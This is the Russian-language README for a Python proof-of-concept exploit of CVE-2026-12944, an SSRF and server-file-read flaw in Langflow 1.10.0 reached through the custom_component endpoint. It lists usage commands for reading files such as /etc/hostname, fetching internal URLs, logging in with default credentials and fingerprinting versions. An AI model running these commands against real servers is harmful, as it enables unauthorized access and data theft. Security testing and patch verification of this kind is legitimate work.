
Python PoC для CVE-2026-12944 — уязвимости SSRF через urllib и чтения файлов в Langflow 1.10.0. Определяет версии и эксплуатирует endpoint custom_component.
Langflow 1.10.0 urllib SSRF
Langflow OSS ≤ 1.10.0 — выполнение кода через пользовательский компонент посредством urllib.request / socket. В денилисте сканера компонентов отсутствовали эти модули стандартной библиотеки. IBM исправила это в 1.10.1.
IBM оценивает это как PR:L. Точка выполнения — POST /api/v1/custom_component, и для этого вызова требуется сессионная cookie / bearer-токен. Как этот PoC его получает:
--test не выполняет аутентификацию. Он делает только GET /api/v1/version (плюс проверку соединения GET /).--read / --fetch сначала аутентифицируются, затем отправляют компонент через POST.LANGFLOW_AUTO_LOGIN. Скрипт выполняет и, если в JSON есть , отправляет . Без имени пользователя и пароля.GET /api/v1/auto_loginaccess_tokenAuthorization: Bearer …POST /api/v1/login с --uname / --password как application/x-www-form-urlencoded (username, password). Стандартные значения по умолчанию — langflow / langflow.POST /api/v1/custom_component с {"code": …}, который вызывает urllib.request.urlopen(...).--uname / --password существуют только для шага 4. При установке по умолчанию они не используются.
Только для авторизованного тестирования. Не запускайте это против систем, которыми вы не владеете и на тестирование которых у вас нет разрешения.
Требуется: Python 3, только стандартная библиотека.
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
| Флаг | Что он делает |
|---|---|
-u / --url | Базовый URL Langflow (обязателен). http:// или https://. Имя хоста без схемы сначала пробуется как HTTPS, затем как HTTP. При перенаправлениях http→https метод POST сохраняется. При плохих TLS-сертификатах выполняется повторная попытка без проверки; --insecure пропускает проверку с самого начала |
--test | Только фингерпринтинг: GET /api/v1/version (публичный). Без входа, без custom_component |
--read PATH | Запуск гаджета: чтение PATH через urllib.request file:// (выполняется на сервере) |
--fetch URL | SSRF: urllib.request.urlopen(URL) и вывод тела ответа |
--uname / --password | Только если AUTO_LOGIN отключён (стандартные значения по умолчанию: langflow / langflow) |
--insecure | Пропустить проверку TLS |
--timeout | Таймаут HTTP в секундах (по умолчанию 30) |
Эндпоинт --test: GET /api/v1/version. Ответ 200 с "version" / "main_version" выводит VERSION, затем IN_WINDOW, если эта строка находится в диапазоне 1.0.0–1.10.0, затем PRESENT. Он никогда не обращается к /api/v1/auto_login или /api/v1/custom_component.
--read / --fetch обращаются к GET /api/v1/auto_login (или POST /api/v1/login), затем к POST /api/v1/custom_component.
Stdout: VERSION, IN_WINDOW, OUT_OF_WINDOW, PRESENT, VULNERABLE, NEED_AUTH, NOT_FOUND, NOT_VULNERABLE, READ.

CVE: CVE-2026-12944. Бюллетень IBM; обновитесь до 1.10.1.